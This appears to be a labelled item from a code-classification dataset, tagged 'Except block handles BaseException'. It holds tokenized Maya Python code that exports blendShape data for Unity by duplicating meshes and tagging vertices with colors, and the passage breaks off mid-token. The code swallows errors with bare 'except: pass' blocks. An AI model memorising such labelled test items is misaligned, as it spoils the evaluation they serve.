[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "export", "Ble", "nd", "Shapes", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "Export", "s", " ", "spars", "e", " ", "blend", "Shape", " ", "data", " ", "from", " ", "the", " ", "scen", "e", " ", "for", " ", "each", " ", "mesh", " ", "with", " ", "a", "\\", "10", ";", "\t", "blend", "Shape", " ", "deform", "er", " ", "in", " ", "its", " ", "histo", "ry", ".", " ", "Thi", "s", " ", "is", " ", "accom", "pli", "shed", " ", "by", " ", "duplicat", "ing", "\\", "10", ";", "\t", "the", " ", "mesh", " ", "and", " ", "tagging", " ", "vertice", "s", " ", "in", " ", "the", " ", "duplicat", "e", " ", "usi", "ng", " ", "vertex", " ", "colors", ".", " ", "The", "\\", "10", ";", "\t", "duplicat", "e", " ", "then", " ", "store", "s", " ", "all", " ", "of", " ", "the", " ", "data", " ", "as", " ", "user", " ", "proper", "ties", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "all", " ", "of", " ", "the", " ", "potenti", "al", " ", "model", "s", " ", "in", " ", "the", " ", "scene_", "\\u\\u\\uNL\\u\\u\\u_", "models_", "=_", "om_", "._", "MS", "election", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "model_", "in_", "cmds_", "._", "ls_", "(_", "transforms_", "=_", "True_", ")_", ":_", "models_", "._", "add_", "(_", "model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "store", " ", "a", " ", "dictionar", "y", " ", "mapping", " ", "model", "s", " ", "who", "se", " ", "shape", "s", " ", "have", " ", "a", " ", "blend", "Shape", " ", "ups", "tream", " ", "to", " ", "all", " ", "of", " ", "thei", "r", " ", "blend", "Shape", " ", "nodes_", "\\u\\u\\uNL\\u\\u\\u_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dag", "Path_", "=_", "om_", "._", "MD", "ag", "Path_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iter_", "=_", "om_", "._", "MI", "t", "Selecti", "on", "List_", "(_", "models_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "iter_", "._", "is", "Done_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "iter_", "._", "get", "Da", "g", "Path_", "(_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "=_", "om_", "._", "MD", "ag", "Path_", "(_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ensure", " ", "the", " ", "current", " ", "transform", " ", "has", " ", "a", " ", "shape", " ", "node_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "dag", "Path_", "._", "extend", "To", "Shape_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "search", " ", "ups", "tream", " ", "from", " ", "shape", " ", "for", " ", "all", " ", "blend", "Shape", " ", "nodes_", "\\u\\u\\uNL\\u\\u\\u_", "dg_", "=_", "om_", "._", "MI", "t", "Dependenc", "y", "Graph_", "(_", "dag", "Path_", "._", "node_", "(_", ")_", ",_", "om_", "._", "MF", "n_", "._", "k", "Ble", "nd", "Shape_", ",_", "om_", "._", "MI", "t", "Dependenc", "y", "Graph_", "._", "k", "Ups", "tream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "dg_", "._", "is", "Done_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "blend", "Shape", " ", "nodes", " ", "to", " ", "a", " ", "list", " ", "in", " ", "the", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "not_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "._", "has", "\\u", "key_", "(_", "model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "[_", "model_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "[_", "model_", "]_", "._", "append_", "(_", "dg_", "._", "current", "Item_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dg_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "iter_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "tagg", "ed", " ", "duplicat", "es", " ", "for", " ", "each", " ", "model", " ", "with", " ", "blend", "Shapes", " ", "and", " ", "its", " ", "targets_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "model_", "in_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete", " ", "non", "-", "deform", "er", " ", "histo", "ry", " ", "on", " ", "the", " ", "model", " ", "in", " ", "order", " ", "to", " ", "collapse", " ", "intermediate", " ", "nodes_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "model", " ", "will", " ", "come", " ", "int", "o", " ", "Unit", "y", " ", "wrong", ",", " ", "but", " ", "at", " ", "leas", "t", " ", "not", " ", "with", " ", "ug", "ly", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "cmds_", "._", "select_", "(_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mel", "_", "._", "eval_", "(_", "'", "do", "Bak", "e", "Non", "Def", "Hist", "ory", "(", " ", "1", ",", " ", "{", "\"", "pre", "Post", "\"", " ", "})", ";'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "select_", "(_", "cl_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "zero", " ", "all", " ", "blend", "Shape", " ", "target", " ", "weight", "s", " ", "on", " ", "the", " ", "model_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "blend", "Node_", "in_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "[_", "model_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "fn_", "=_", "om_", "._", "MF", "n", "Dependenc", "y", "Node_", "(_", "blend", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aliases_", "=_", "cmds_", "._", "alias", "Attr_", "(_", "fn_", "._", "name_", "(_", ")_", ",_", "q_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "alias_", "in_", "aliases_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "skip", " ", "non", "-", "weight", " ", "attributes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "not_", "re_", "._", "match_", "(_", "'", "weight", "\\\\[", "[", "0", "-", "9", "]+\\\\", "]'_", ",_", "alias_", ")_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "=_", "'%", "s", ".", "%", "s", "'_", "%_", "(_", "fn_", "._", "name_", "(_", ")_", ",_", "alias_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "=_", "cmds_", "._", "list", "Connections_", "(_", "dest_", ",_", "p_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "source_", ":_", "cmds_", "._", "discon", "nect", "Attr_", "(_", "source_", "[_", "0_", "]_", ",_", "dest_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "set", "Attr_", "(_", "dest_", ",_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "duplicat", "e", " ", "the", " ", "base", " ", "mesh", " ", "and", " ", "indicat", "e", " ", "tha", "t", " ", "it", " ", "is", " ", "the", " ", "base", " ", "index", " ", "map_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tagg", "ed", "Base", "Mesh_", "=_", "cmds_", "._", "duplicate_", "(_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagg", "ed", "Base", "Mesh_", "=_", "cmds_", "._", "rename_", "(_", "tagg", "ed", "Base", "Mesh_", ",_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", "+_", "'\\u", "\\u", "blend", "Shape", "Index", "Map", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "custom", "Attrs_", "=_", "cmds_", "._", "list", "Attr_", "(_", "tagg", "ed", "Base", "Mesh_", ",_", "ud_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "custom", "Attrs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "attr_", "in_", "custom", "Attrs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "try_", ":_", "cmds_", "._", "delete", "Attr_", "(_", "tagg", "ed", "Base", "Mesh_", ",_", "at_", "=_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmds_", "._", "add", "Attr_", "(_", "tagg", "ed", "Base", "Mesh_", ",_", "ln_", "=_", "'", "is", "Ble", "nd", "Shape", "Map", "For", "'_", ",_", "dt_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "set", "Attr_", "(_", "'%", "s", ".", "is", "Ble", "nd", "Shape", "Map", "For", "'_", "%_", "tagg", "ed", "Base", "Mesh_", ",_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", ",_", "type_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tag", " ", "each", " ", "vertex", " ", "in", " ", "the", " ", "base", " ", "shape", " ", "duplicate_", "\\u\\u\\uNL\\u\\u\\u_", "dag", "Path_", "=_", "om_", "._", "MD", "ag", "Path_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "=_", "om_", "._", "MS", "election", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "._", "add_", "(_", "tagg", "ed", "Base", "Mesh_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "._", "get", "Da", "g", "Path_", "(_", "0_", ",_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dag", "Path_", "._", "extend", "To", "Shape_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "Mesh_", "(_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "duplicat", "e", " ", "the", " ", "tagg", "ed", " ", "base", " ", "mesh", " ", "to", " ", "create", " ", "the", " ", "seam", "less", " ", "base", " ", "mesh_", "\\u\\u\\uNL\\u\\u\\u_", "seam", "less", "Base", "Mesh_", "=_", "cmds_", "._", "duplicate_", "(_", "tagg", "ed", "Base", "Mesh_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seam", "less", "Base", "Mesh_", "=_", "cmds_", "._", "rename_", "(_", "seam", "less", "Base", "Mesh_", ",_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", "+_", "'\\u", "\\u", "seam", "less", "Base", "Mesh", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "attr_", "in_", "cmds_", "._", "list", "Attr_", "(_", "seam", "less", "Base", "Mesh_", ",_", "ud_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "try_", ":_", "cmds_", "._", "delete", "Attr_", "(_", "seam", "less", "Base", "Mesh_", ",_", "at_", "=_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "make", "Sea", "mle", "ss_", "(_", "seam", "less", "Base", "Mesh_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "link", " ", "seam", "less", " ", "mesh", " ", "to", " ", "tagg", "ed", " ", "base", " ", "shape_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "add", "Attr_", "(_", "seam", "less", "Base", "Mesh_", ",_", "ln_", "=_", "'", "is", "Sea", "mle", "ss", "Base", "Mesh", "For", "'_", ",_", "dt_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "set", "Attr_", "(_", "'%", "s", ".", "is", "Sea", "mle", "ss", "Base", "Mesh", "For", "'_", "%_", "seam", "less", "Base", "Mesh_", ",_", "tagg", "ed", "Base", "Mesh_", ",_", "type_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "the", " ", "seam", "less", " ", "base", " ", "mesh", " ", "a", " ", "child", " ", "of", " ", "the", " ", "tagg", "ed", " ", "base", " ", "mesh", ",", " ", "in", " ", "order", " ", "to", " ", "avoid", " ", "creati", "ng", " ", "addition", "al", " ", "roots_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "parent_", "(_", "seam", "less", "Base", "Mesh_", ",_", "tagg", "ed", "Base", "Mesh_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "color", "-", "tagg", "ed", " ", "copy", " ", "of", " ", "each", " ", "target", ",", " ", "linked", " ", "back", " ", "to", " ", "the", " ", "tagg", "ed", " ", "base", " ", "shape", " ", "via", " ", "user", " ", "properties_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "blend", "Node_", "in_", "model", "s", "With", "Ble", "nd", "Shape", "Def", "orm", "ers_", "[_", "model_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "fn_", "=_", "om_", "._", "MF", "n", "Dependenc", "y", "Node_", "(_", "blend", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aliases_", "=_", "cmds_", "._", "alias", "Attr_", "(_", "fn_", "._", "name_", "(_", ")_", ",_", "q_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "alias_", "in_", "aliases_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "skip", " ", "weight", " ", "attributes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "re_", "._", "match_", "(_", "'", "weight", "\\\\[", "[", "0", "-", "9", "]+\\\\", "]'_", ",_", "alias_", ")_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "duplicat", "e", " ", "of", " ", "the", " ", "composi", "te", " ", "shape", " ", "and", " ", "convert", " ", "it", " ", "int", "o", " ", "a", " ", "seam", "less", " ", "mesh_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "set", "Attr_", "(_", "'%", "s", ".", "%", "s", "'_", "%_", "(_", "fn_", "._", "name_", "(_", ")_", ",_", "alias_", ")_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tagg", "ed", "Target_", "=_", "cmds_", "._", "duplicate_", "(_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attrs_", "=_", "cmds_", "._", "list", "Attr_", "(_", "tagg", "ed", "Target_", ",_", "ud_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "attrs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "for_", "attr_", "in_", "attrs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "try_", ":_", "cmds_", "._", "delete", "Attr_", "(_", "tagg", "ed", "Target_", ",_", "at_", "=_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tagg", "ed", "Target_", "=_", "cmds_", "._", "rename_", "(_", "tagg", "ed", "Target_", ",_", "'%", "s", "\\u\\u", "blend", "Shape", "Target", "\\u\\u", "%", "s", "'_", "%_", "(_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", ",_", "alias_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "make", "Sea", "mle", "ss_", "(_", "tagg", "ed", "Target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "set", "Attr_", "(_", "'%", "s", ".", "%", "s", "'_", "%_", "(_", "fn_", "._", "name_", "(_", ")_", ",_", "alias_", ")_", ",_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "tag", " ", "the", " ", "duplicated", " ", "target_", "\\u\\u\\uNL\\u\\u\\u_", "dag", "Path_", "=_", "om_", "._", "MD", "ag", "Path_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "=_", "om_", "._", "MS", "election", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "._", "add_", "(_", "tagg", "ed", "Target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "._", "get", "Da", "g", "Path_", "(_", "0_", ",_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dag", "Path_", "._", "extend", "To", "Shape_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tag", "Mesh_", "(_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "link", " ", "target", " ", "to", " ", "tagg", "ed", " ", "base", " ", "shape_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "add", "Attr_", "(_", "tagg", "ed", "Target_", ",_", "ln_", "=_", "'", "is", "Ble", "nd", "Shape", "Target", "For", "'_", ",_", "dt_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "set", "Attr_", "(_", "'%", "s", ".", "is", "Ble", "nd", "Shape", "Target", "For", "'_", "%_", "tagg", "ed", "Target_", ",_", "tagg", "ed", "Base", "Mesh_", ",_", "type_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "make", " ", "the", " ", "tagg", "ed", " ", "mesh", " ", "a", " ", "child", " ", "of", " ", "the", " ", "tagg", "ed", " ", "base", " ", "mesh", ",", " ", "in", " ", "order", " ", "to", " ", "avoid", " ", "creati", "ng", " ", "addition", "al", " ", "roots_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "parent_", "(_", "tagg", "ed", "Target_", ",_", "tagg", "ed", "Base", "Mesh_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "make", " ", "the", " ", "tagg", "ed", " ", "mesh", " ", "a", " ", "child", " ", "of", " ", "the", " ", "original", ",", " ", "in", " ", "order", " ", "to", " ", "avoid", " ", "creati", "ng", " ", "addition", "al", " ", "roots_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmds_", "._", "parent_", "(_", "tagg", "ed", "Base", "Mesh_", ",_", "model_", "._", "partial", "Path", "Name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Sea", "mle", "ss_", "(_", "mesh", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "Make", "s", " ", "a", " ", "supplie", "d", " ", "mesh", " ", "\"", "seam", "less", "\"", " ", "in", " ", "Unit", "y", " ", "by", " ", "delet", "ing", " ", "its", " ", "UV", " ", "coordinate", "s", ",", " ", "smoothing", " ", "normal", "s", ",", " ", "triang", "ulati", "ng", ",", " ", "and", " ", "clear", "ing", " ", "material", " ", "assign", "ment", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "clear", " ", "uv", "s", " ", "so", " ", "there", " ", "are", " ", "no", " ", "seam", "s", " ", "or", " ", "tangent", "s_", "\\u\\u\\uNL\\u\\u\\u_", "uv", "s_", "=_", "cmds_", "._", "poly", "UV", "Set_", "(_", "mesh", "Name_", ",_", "q_", "=_", "True_", ",_", "au", "v_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "uv_", "in_", "uv", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "try_", ":_", "cmds_", "._", "poly", "UV", "Set_", "(_", "mesh", "Name_", ",_", "e_", "=_", "True_", ",_", "uv", "Set_", "=_", "uv_", ",_", "delete_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "uv", "Set_", "=_", "cmds_", "._", "poly", "UV", "Set_", "(_", "mesh", "Name_", ",_", "q_", "=_", "True_", ",_", "au", "v_", "=_", "True_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "=_", "om_", "._", "MS", "election", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "._", "add_", "(_", "mesh", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dag", "Path_", "=_", "om_", "._", "MD", "ag", "Path_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sel_", "._", "get", "Da", "g", "Path_", "(_", "0_", ",_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "om_", "._", "MF", "n", "Mesh_", "(_", "dag", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "._", "clear", "UV", "s_", "(_", "uv", "Set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "smooth", " ", "normal", "s", " ", "so", " ", "there", " ", "are", " ", "no", " ", "normal", " ", "separation", "s_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "poly", "Sof", "t", "Edge_", "(_", "mesh", "Name_", ",_", "a_", "=_", "180_", ",_", "ch_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "triang", "ulate", " ", "geometry_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "poly", "Tria", "ngul", "ate_", "(_", "mesh", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "appl", "y", " ", "a", " ", "single", " ", "material", " ", "so", " ", "there", " ", "are", " ", "no", " ", "subme", "sh", " ", "separation", "s_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "sets_", "(_", "mesh", "Name_", ",_", "e_", "=_", "True_", ",_", "force", "Element_", "=_", "'", "initial", "Shad", "ing", "Group", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "all", " ", "history_", "\\u\\u\\uNL\\u\\u\\u_", "cmds_", "._", "delete_", "(_", "mesh", "Name_", ",_", "ch_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmds_", "._", "select_", "(_", "clear_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tag", "Mesh_", "(_", "mesh", "Da", "g", "Path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "Ta", "g", " ", "the", " ", "points", " ", "on", " ", "the", " ", "supplie", "d", " ", "mesh", " ", "with", " ", "vertex", " ", "colors", " ", "to", " ", "store", " ", "Maya", "'", "s", " ", "point", " ", "order", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "clear", " ", "any", " ", "ext", "ant", " ", "vertex", " ", "colors_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "cmds_", "._", "poly", "Color", "Set_", "(_", "mesh", "Da", "g", "Path_", "._", "partial", "Path", "Name_", "(_", ")_", ",_", "e_", "=_", "True_", ",_", "delete_", "=_", "True_", ",_", "acs", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "encode", " ", "each", " ", "point", " ", "index", " ", "in", " ", "the", " ", "red", " ", "and", " ", "green", " ", "channel", "s", " ", "of", " ", "each", " ", "point", "'", "s", " ", "color", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "mesh", "Fn_", "=_", "om_", "._", "MF", "n", "Mesh_", "(_", "mesh", "Da", "g", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "Count_", "=_", "om_", "._", "MI", "nt", "Array_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "List_", "=_", "om_", "._", "MI", "nt", "Array_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mesh", "Fn_", "._", "get", "Vertices_", "(_", "vertex", "Count_", ",_", "vertex", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "Colors_", "=_", "om_", "._", "MC", "olor", "Array_", "(_", "mesh", "Fn_", "._", "num", "Vertices_", "(_", ")_", ",_", "om_", "._", "MC", "olor_", "(_", "0.0_", ",_", "0.0_", ",_", "1.0_", ",_", "1.0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "mesh", "Fn_", "._", "num", "Vertices_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "col_", "=_", "om_", "._", "MC", "olor_", "(_", "tag", "Index", "To", "Color_", "(_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "Colors_", "[_", "i_", "]_", "._", "r_", "=_", "col_", "._", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vertex", "Colors_", "[_", "i_", "]_", "._", "g_", "=_", "col_", "._", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mesh", "Fn_", "._", "create", "Color", "Set", "With", "Name_", "(_", "'", "blend", "Shape", "Index", "Map", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mesh", "Fn_", "._", "set", "Colors_", "(_", "vertex", 